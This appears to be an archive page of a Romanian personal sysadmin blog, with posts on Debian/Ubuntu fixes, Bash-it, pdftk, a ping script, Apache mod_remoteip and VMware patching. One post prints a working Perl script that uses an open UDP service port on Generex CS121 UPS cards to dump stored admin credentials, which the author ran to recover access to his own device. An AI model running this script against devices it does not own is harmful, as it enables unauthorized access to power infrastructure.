Archives

Debian / Ubuntu relocation error, error code (127) după actualizările recente

Vine o vreme când apar surprize cauzate de actualizări și în zona Debian / Ubuntu.

Cea mai recentă surpriză este eroarea de genul:

relocation error /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference

De la asta, module din apache2.4 nu vor mai vrea să funcționeze (modsecurity2 fiind unul dintre ele), curl (și librăriile php-curl) și încă câteva.

În majoritatea cazurilor de azi-noapte încoace m-am lovit de astfel de erori:

 /usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
Reading package lists... Done
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly

punycode_decode_version_IDN2_0.0.0_not_defined_in_file_libidn2.so.0

 

Soluția (cel puțin temporară) este următoarea:

 # wget http://ftp.us.debian.org/debian/pool/main/libi/libidn2/libidn2-0_2.0.5-1_amd64.deb

# sudo dpkg -i libidn2-0_2.0.5-1_amd64.deb

După instalare, un apt-get update && apt-get upgrade -y ar trebui să rezolve problemele.

 

 

 

 

Bash-it – un framework cu ajutorul căruia îți poti controla aliasurile și scripturile

Bash-it este un pachet de scripturi și comenzi pentru versiuni ale Bash mai noi de 3.2, pachet făcut de comunitatea Bash și care aduce funcții modificate, teme, aliasuri, auto-completarea comenzilor și multe alte lucruri interesante. De asemenea aduce o serie de unelte pentru dezvoltatori, integrări ale unor comenzi pentru git și multe alte scripturi cu ajutorul cărora îți ușurează munca zilnică.

Cum se instalează Bash-it în sistemele de operare GNU/Linux

Pentru a instala Bash-it se clonează în primul rând repo-ul într-o destinație la alegerea utilizatorului:

$ git clone --depth=1 https://github.com/Bash-it/bash-it.git ~/.bash_it

Odată clonarea încheiată se rulează următoarea comandă pentru instalare (fișierele ~/.bash_profile sau ~/.bashrc – în funcție de sistemul de operare folosit vor fi salvate automat)

$ ~/.bash_it/install.sh

Veți fi întrebat “Would you like to keep your .bashrc and append bash-it templates at the end? [y/N]”, răspundeți după preferință.

Odată instalarea terminată aceasta poate fi verificată cu ajutorul comenzii ls. Fișisrele și directoarele ar trebui să fie afișate.

Cum poate fi modificat Bash-it în Linux

Bash-it poate fi modificat oricând editând fișierul ~/.bashrc.
Pentru a vedea lista aliasurilor, completărilor și modulelor suplimentare instalate și/sau disponibile se pot rula următoarele comenzi (care de asemenea vor indica cum se pot activa și dezactiva):

$ bash-it show aliases
$ bash-it show completions
$ bash-it show plugins

Pentru a vedea ce aliasuri sunt active se folosește următoarea comandă:

$ alias

Toate aliasurile pot fi găsite în directorul aflat aici: $HOME/.bash_it/aliases/ .
De exemplu, să activăm aliasurile pentru apt:

$ bash-it enable alias apt

Reîncărcam apoi Bash-it pentru a vedea rezultatul:

$ bash-it reload
$ alias

Din ce putem vedea, aliasurile pentru apt au fost activate

Mișcarea inversă se face astfel:

$ bash-it disable alias apt
$ bash-it reload

Căile generale sunt următoarele:

Completările pot fi găsite aici – $HOME/.bash_it/completion/
Modulele suplimentare – $HOME/..bash_it/plugins/
Toate elementele activate pot fi găsite în directorul $HOME/.bash_it/enabled .

Cum spuneam la început, Bash-it are oferă și mai mult de 50 de teme, cea implicită fiind bobby. Tema activă poate fi aflată afișând valoarea variabilei env BASH_IT_THEME

echo $BASH_IT_THEME

Temele pot fi găsite în directorul $BASH_IT/themes .

$ ls $BASH_IT/themes

Aceste teme pot fi previzualizate înainte de a fi folosite cu comanda:

$ BASH_PREVIEW=true bash-it reload

Iar aplicarea uneia dintre ele se poate face editând fișierul .bashrc și adăugând următoarea linie (cu numele temei alese):

$ export BASH_IT_THEME='essential'

Salvați apoi fișierul și reîncărcați-l

$ source $HOME/.bashrc

Căutarea de noi plugin-uri, completări sau aliasuri specifice diferitelor limbaje de programare sau medii de dezvoltare poate fi făcută ușor astfel (de exemplu căutăm ceva legat de comenzile pe care le utilizăm frecvent):

$ bash-it search python pip pip3 pipenv
$ bash-it search git

Iar dacă aveți nevoie de ajutor puteți rula comenzile:

$ bash-it help aliases
$ bash-it help completions
$ bash-it help plugins

Orice scripturi, aliasuri etc. adiacente pot fi adăugate în directoarele respective:

aliases/custom.aliases.bash
completion/custom.completion.bash
lib/custom.bash
plugins/custom.plugins.bash
custom/themes//.theme.bash

Pentru a avea întotdeauna cea mai recentă versiune a Bash-it rulați:

$ bash-it update

Iar dacă la un moment dat nu vreți să mai folosiți Bash-it acesta se dezinstalează astfel:

$ cd $BASH_IT
$ ./uninstall.sh

Scriptul uninstall.sh va restaura fișierele de pornire folosite anterior instalării. Odată procesul încheiat directoarele Bash-it pot fi șterse manual.

$ rm -rf $BASH_IT

Mai multe detalii despre cum poate fi folosit Bash-it puteți afla rulând comanda:

$ bash-it help

Pentru mai multe informații puteți accesa pagina de Github https://github.com/Bash-it/bash-it.

Situație neplăcută după ceva upgrade de Ubuntu legată de /etc/init.d/screen-cleanup

S-a întâmplat moment de upgrade la ceva servere de la versiuni mai vechi de Ubuntu… și au apărut și primele situații neplăcute.

Din categoria “Note to self” ca să mă romglezesc corespunzător, în cazul în care mă mai lovesc de următoarea situație:

initctl: Unable to connect to Upstart: Failed to connect to socket /com/ubuntu/upstart: Connection refused
insserv: warning: script 'screen-cleanup' missing LSB tags and overrides
insserv: Default-Start undefined, assuming empty start runlevel(s) for script `screen-cleanup'
insserv: Default-Stop undefined, assuming empty stop runlevel(s) for script `screen-cleanup'

Soluția este:

sudo mv /etc/init.d/screen-cleanup.dpkg-new /etc/init.d/screen-cleanup

După asta trebuie reactivate serviciile care nu mai voiau să pornească automat din cauza “ororii” de mai sus.

Google Pixel – primul telefon care mi-a smuls un WOW! după multă vreme #madebygoogle

Devin fanul hashtagurilor #madeby… dacă pe zona auto nu pot să nu recunosc dependența de #madebysweeden – Volvo for life :), iaca aseară am avut o nouă revelație – Google Pixel. Un telefon #madebygoogle.

sailfish-black-2x

Primul telefon pe care mi l-am dorit încă înainte de a i se termina prezentarea oficială… ceea ce pentru unu’ ca mine care nu prea se mai “excită” la gadgeturi… e ceva (zic și eu).

Clipul scurt (cu săgețele fin aruncate spre principalul competitor) este aici:

https://www.youtube.com/watch?v=Rykmwn0SMWU

Nu-s multe de zis, tehnic vorbind, Google au plecat de platforma furnizată de HTC, au adăugat o cameră de la Sony, și multe chestii faine pe partea de software și mai ales integrarea cu propriile lor servicii (apoi dacă nu ei, atunci cine?).

Procesorul este un Snapdragon 821, ajutat cu 4Gb de RAM, o mulțime de senzori, o cameră principală de  12,3MP (tot fără stabilizare) pe care o laudă ca fiind cea mai rapidă cameră.

Dacă bateria nu pare a fi una spectaculoasă, fiind de (doar) 2700mAh, Pixel promite că 15 minute de încărcare sunt suficiente pentru 7 ore de utilizare (citez eu ridicând o sprânceană).

Nu sunt încă prețuri comunicate oficial, însă pe site-urile din Marea Britanie se vorbește de prețuri la nivelul iPhone 7.

De asemenea, este telefonul cu cel mai curat Android 7, o versiune zice-se mult îmbunătățită față de ce ne-a fost  dat să vedem până acuma.

Una peste alta, telefonul acesta promite. Nu pot să-l clasez (nu cred că e momentul, cifrele din vânzări vor da verdicte) ca un “iPhone killer”, însă dacă nu vine cu bube majore (nu face poc și fum, și nu prăjește ouă), are șanse să ajungă cel puțin la nivelul Nexus 4 sau Nexus 5.

 

“Spargerea” unui fișier pdf cu pdftk

Birocrația noastră e încă în floare, iară companiile chiar private nu fac excepții de la comunicarea pseudo-electronică – îți trimit email cu contractele în format electronic dar nu-l acceptă înapoi decât semnat și ștampilat (eventual pe fiecare pagină) și “cu pix albastru”…
Ideea este că printr-un astfel de proces, după scanare un contract care ar fi fost un pdf de 500kb în formatul său inițial, poate ajunge la 15-20Mb după ce a fost printat, semnat și scanat din nou.
Iar cum sunt puține serverele de email care acceptă fișiere mari atașate emailurilor… apare aici distracția.
Astăzi am fost exact într-o astfel de situație, fișierul care trebuia “întors” avea mai bine de 15Mb.
Așa că am apelat la pdftk (PDF Toolkit) aplicație care este conform denumirii dată de cei care o întrețin “Handy Tool for Manipulating PDF Documents” și cu ajutorul căreia se pot face o mulțime de operații cu fișierele pdf, cum ar fi:
– Concatenarea sau colaj de documente pdf;
– Spargerea în fișiere cu număr definit de pagini
– Rotirea documentelor sau doa a numitor pagini dintr-un fișier pdf
– Decriptarea documentelor pdf (dacă știm parola)
– Criptarea fișierelor pdf
și multe alte operațiuni.

Dar cum tema de azi a fost spargerea în fișiere mai mici… iată cum se produce:
În primul rând se instalează pdftk:

alex@alex:~$ sudo apt-get update
alex@alex:~$ sudo apt-get install pdftk

Iar apoi am generat 3 fișiere mai mici din fișierul inițial după cum urmează:

alex@alex:~$ pdftk initial.pdf cat 1-5 output output_split1-5.pdf
alex@alex:~$ pdftk initial.pdf cat 6-10 output output_split6-10.pdf
alex@alex:~$ pdftk initial.pdf cat 11-15 output output_split11-15.pdf

Iar la final am avut 3 fișiere cu câte 5 pagini și dimensiune sub 7Mb dintr-un singur fișier care avea mai mult de 15Mb.

Pentru lista completă de operatori și exemple rulați cu încredere

alex@alex:~$ pdftk --help

pdftk

Script simplu pentru verificare cu ping

Din când în când prietenii mei de la Telekom/RDS/Enel/”and the gang” încearcă să-mi aducă aminte că există și altfel decât prin facturi… și atunci cred ei că cel mai bun motiv să-ți amintești de ei este să nu mai furnizeze serviciile…

Cum una din primele verificări ca să mă prind de unde/cum se apucă problema e să dau ceva ping-uri am ajuns (repejor) la concluzia că acest proces e musai să fie scriptat și de ce nu, automatizat.

În acest mod simplu pomul ajunge lângă fereastră am ajuns la versiunea X.XX.XXXX a scriptului care îmi verifică prin 4 pinguri adresele dintr-o listă definită în fișierul numit cum altfel: “ipuri”; acest fișier stă în directorul utilizatorului curent (în cazul meu /home/alex)

Iaca conținutul scriptului:

#!/bin/bash

NR=4 #Cate pinguri trag

for i in $( cat $HOME/ipuri )
do
ping -q -c$NR $i > /dev/null

if [ $? -eq 0 ]
then
echo $i "Raspunde la ping"

else
echo $i "Nu raspunde la ping"

fi
done

Iar rezultatul arată cam așa:

ping-test

Eu am făcut scriptul executabil pentru a-l putea rula mai rapid din directorul meu de scripturi.

Șmecheri nemți mai sunt chinezii ăștia…

Mai ales atunci când îi conving pe francezi să copieze un soft american pe care să-l facă să funcționeze pe un echipament german.

Acum puțin timp a venit momentul să schimbăm ups-urile din firmă, nu de alta dar prietenii de la Enel sau cum s-or mai numi acuma au prostul obicei de a opri alimentarea cu energie electrică din când în când… sau, mai grav, nu o opresc, dar nici nu trimit 220V pe sârme…

Și pe lângă noile echipemante și-a găsit locul și unul mai deștept, care să vorbească cu noi (când e cazul), să știe să trimită un email, notificare ceva când se întâmplă lucruri neprevăzute, etc.

Partea aia de deșteptăciune din ups-ul cu pricina poartă numele de CS121, e făcută de nemții de la Generex și echipează mai toate ups-urile de la Eaton, Rittal, AEG, Legrand și Masterguard. Un echipament serios și sănătos așa în felul lui, dar având firmware (custom) și softul făcute de francezi, copiind până la un punct o aplicație deja cunoscută, făcută de americani (franțuziți și ei acuma) la momentul când sloganul acestora din urmă era “Legendary Reliability”.

Bun… Ca de obicei, primul lucru pe care-l fac atunci când îmi pică o jucărie nouă în mâini… schimb parolele (că tot spunea Simona Tache acum ceva vreme că la noi, bărbații, fără parole, viața e pustiu)

Și pun eu frumos acolo parola de bază AnaNuMaiAreMereSocSiGroaza!!!@#$00&72, scriu cuminte aceeași parolă și în al doilea câmp ca să confirm, primesc felicitări pentru cât de inteligentă îmi e parola și sigură etc, salvez și când să întru iar în administrare…. ghinion… iaca parola nu e aia bună. Mai încerc odată, mai scriu toată parola (că de, să nu fie vreun caracter aiurea prins între copy și paste și-mi pic doctoratul din cauza lui)… nimic. Parolă incorectă.
Înjur eu zdravăn tastatura, localele și ce-mi mai vine-n cap că ar putea fi motiv de a fi salvat o parolă greșită, și la final, ca orice inginer care se respectă, pun mâna pe manual să văd cum pot reseta parola.
Ajung eu la pagina care povestește de cât de sigur e mecanismul lor și cum să folosești parole sigure bla, bla, bla, iar la final găsesc o notă mică care zice pe scurt că dacă ai “uitat” (fain că uitat chiar e între ghilimele) parola, poți în baza seriei echipamentului să ceri una nouă direct de la producător.
Înghit în sec, pun mâna pe telefon și sun la cel care mi-a vândut echipamentul… “știi, eu mi-s mai prost așa și nu mai știu ce parolă am pus, poți să-mi zici și mie cum se resetează?”. După câteva minute în care el a sunat la rândul lui la importator/etc. vine răspunsul: “Trimite-mi un email, în care să povestești ce ai pățit, eu îl dau la importator, care-l va trimite la producător care….” OK, îmi zic în barbă, așadar fiind vorba de francezi la mijloc, probabil că săptămânile astea nu mai accesez jucăria… și încep să caut informații despre cât ar putea dura operațiunea.

Și căutând eu pe net, ce aflu?

Că placa cu pricina are un port de service, prin care își aduce update-urile de firmware, intră francezii să îți rezolve problemele etc. și care, culmea (sau nu) stă așa frumos deschis pentru toată lumea care și-ar dori să-l probeze…

Și pentru a testa există și un mic script făcut în perl, care odată rulat afișează mai tot ce te-ar putea interesa… cam așa:

$./upssearch.pl $IP

UPS: CS124-16M32M, ROM-Version: 2.3.4(pduc) - Aug 27, 2010

Target system parameters (current):
Default Protocol : TCP/IP
Default Driver : Ethernet
Mac address : 00-00-00-00-00-00
IP address : XX.XX.XX.XX
Net Mask : 255.255.250.192
Default Gateway : XX.XX.XX.XX
DHCP : 0.0.0.0
DNS : 0.0.0.0
Port for tools : 4000

Searching login
USER: admin, PASS: AnaNuMaiAreMere, ACCOUNT: none

Bucuros nevoie mare că mi-am “hăcuit” propriul echipament, aflu că de fapt nu băgasem eu greșit parola inițială ci mândrețea de soft are limitare la X caractere, iar deși nu spune nicăieri și validează ca fiind corectă orice introducere, stripuiește șirul de caractere la acel X… Multă sănătate poporului programator francez care m-a făcut să-mi pierd câteva ore pe tema asta.

Conținutul scriptului de care pomeneam mai sus este (nu de alta dar poate mai pică și alții în situația asta):

#!/usr/bin/perl -w
use IO::Socket;
use constant MAXBYTES => scalar 1024;

$socket = IO::Socket::INET->new( PeerPort => 4000,
PeerAddr => $ARGV[0],
Type => SOCK_DGRAM,
Proto => 'udp');

$socket->send("");
$socket->recv($inline, MAXBYTES);
print "UPS: $inline \n";

$socket->send("show syspar");
$socket->recv($inline, MAXBYTES);
print "$inline\n";

print "Searching login\n" ;
$socket->send("start");
$socket->recv($inline, MAXBYTES);
$socket->send("cd /flash");
$socket->send("type ftp_accounts.txt");

while($socket->recv($inline, MAXBYTES)) {
if($inline =~ /admin/ig) { print $inline; exit; }
}

sleep(10);

Recomandarea mea, dacă vă pică astfel de echipamente pe mână, țineți portul de service dezactivat. Și nu folosiți parole complicate, bine? 🙂

Apache 2.4 mod_remoteip pentru colectarea în loguri a ip-urilor reale

Într-unul din proiectele recente am avut de pus pe picioare un setup în AWS.
Una dintre problemele pe care nu le anticipasem a fost că ip-urile vizitatorilordin logurile Apache erau suprascrise cu cel al load balancer-ului.

Căutând soluții am ales ceea ce mi s-a părut a fi cea mai simplă abordare și care satisface cerința fără multe modificări și anume folosirea modulului mod_remoteip din Apache 2.4.x

Pentru asta (serverele rulând Ubuntu) pașii sunt următorii:

$ sudo a2enmod mod_remoteip

Apoi în fișierul /etc/apache2/mods-enabled/remoteip.conf sau direct în /etc/apache2/apache2.conf (după dorința fiecăruia) se adaugă:

 RemoteIPHeader X-Forwarded-For

iar în secțiunea de definire a metodelor de log din /etc/apache2/apache2.conf se schimbă:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

în

LogFormat "%a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

Adicătălea din %h în %a.

La final se restartează serverul de apache și din acest moment în loguri ar trebui să apară ip-urile reale ale vizitatorilor.

VMWare Player 7.x pe Ubuntu 15.04 – telenovela continuă

Se întâmplă destul de des în ultima vreme să văd cum reapar probleme cu funcționarea unor aplicații mai ales după actualizări, mai mici sau mai mari.
Una din problemele vechi ale Player-ului de la VMWare era legată de driverul de rețea, care din motive știute doar de dezvoltatorii de la VMWare nu se mapa corect pe kernel.
Problema, raportată prin 2013 (cel puțin atunci am auzit prima dată de ea), a fost rezolvată odată cu versiunea 6 a playerului.

Și cum lucrurile simple nu puteau rămâne simple, combinația kernel 3. + player 7.x aduce din nou (mai mult sau mai puțin) aceleași probleme…

Pe forumul comunităților sunt prezente multiple soluții care au rezolvat unuia sau altuia problema vmnet-ului… dintre cele testate de mine cea care mi-a rezolvat (deja de două ori problema – întrucât trebuie aplicată după fiecare actualizare de VMWare Player) este următoarea:

$ curl http://pastie.org/pastes/9934018/download -o /tmp/vmnet-3.19.patch
$ cd /usr/lib/vmware/modules/source
$ tar -xf vmnet.tar
$ patch -p0 -i /tmp/vmnet-3.19.patch
$ mv vmnet.tar vmnet.tar.SAVED
$ tar -cf vmnet.tar vmnet-only
$ rm -r vmnet-only
$ vmware-modconfig --console --install-all

Și apoi minune, VMWare Player își poate compila driverele de rețea de câte ori se actualizează el, sau kernelul mașinii.

O copie a fișierului vmnet-3.19.patch am păstrat-o aici.

© 2009-2019 Alex. Burlacu
%d bloggers like this: